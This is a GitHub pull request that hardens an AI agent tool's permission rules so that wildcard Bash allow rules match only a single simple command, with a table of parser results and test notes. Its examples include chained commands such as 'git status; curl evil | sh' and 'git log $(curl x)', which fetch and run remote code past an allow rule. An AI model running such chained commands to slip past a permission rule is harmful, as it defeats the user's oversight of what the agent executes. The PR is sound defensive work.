chore(hardening): scope wildcard Bash rules to a single simple command - #7
Merged
Conversation
A wildcard rule describes a shape of command the user is comfortable with, but matching ran against the whole command string, so Bash(git *) also matched "git status; curl evil | sh" — a narrow grant authorizing whatever was chained onto it. This matters more now that permission rules are enforced and headless runs need an explicit allow rule for Bash. Match with the bundled bash parser rather than scanning for metacharacters, because the two disagree exactly where it counts: the parser reads `git commit -m "a; b"` as one command and "git status; curl x | sh" as three. Anything the parser cannot analyze (budget exhausted, or a tree with errors) counts as not-simple, so unparseable input degrades to needing approval. Only permissive (allow) rules are held to this. The rule decision is threaded to matchesRule through an optional argument, so deny and ask rules match exactly as before and nothing that used to block stops blocking. Exact-literal rules, which is what approve-for-session records, still match the command they were created from. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
Bash rule matching ran a glob against the entire command string. A rule like
Bash(git *)therefore matched:The user described a shape of command they were comfortable with; the match also authorized whatever was chained onto it.
This was latent while permission rules were dead code. It is live now: PR #2 makes
[permission]rules actually load, and PR #5 makes an explicitallowrule the supported way to run Bash in a headless session — so users are being pointed at exactly the rule shape that had this hole.What changed
matchesBashCommandRuleSubjectreplaces the raw glob match for the Bash tool. A permissive (allow) rule matches only when the command is a single simple command.Parser, not a metacharacter scan. The repo already ships
@moonshot-ai/tree-sitter-bashfor this kind of question, and the two approaches disagree exactly where it matters:commandnodesgit statusgit commit -m "a; b";is inside a stringgit status; curl x | shgit status && curl x | shgit log $(curl x)A metacharacter scan would have rejected row 2 and broken ordinary commit messages.
Un-analyzable input counts as not-simple. Per the parser package's contract, an aborted parse or a tree with errors means "cannot analyze", so it degrades to needing approval rather than slipping through.
What is deliberately not affected
matchesRulevia a new optionaloptions.permissiveargument, so this can only ever reduce what an allow rule covers. Nothing that previously blocked a command stops blocking it. There is a test for this.matchesRuleimplementations ignore the new optional argument and are unchanged.Testing
;,&&,||,|, newline) and substituted ($(), backticks) forms; still allows quoted metacharacters; exact-literal compound still matches; deny/ask unaffected; un-analyzable input rejected.agent-core-v2suite green: 310 files / 4878 tests.oxlintandtsc --noEmitclean.Checklist
minor).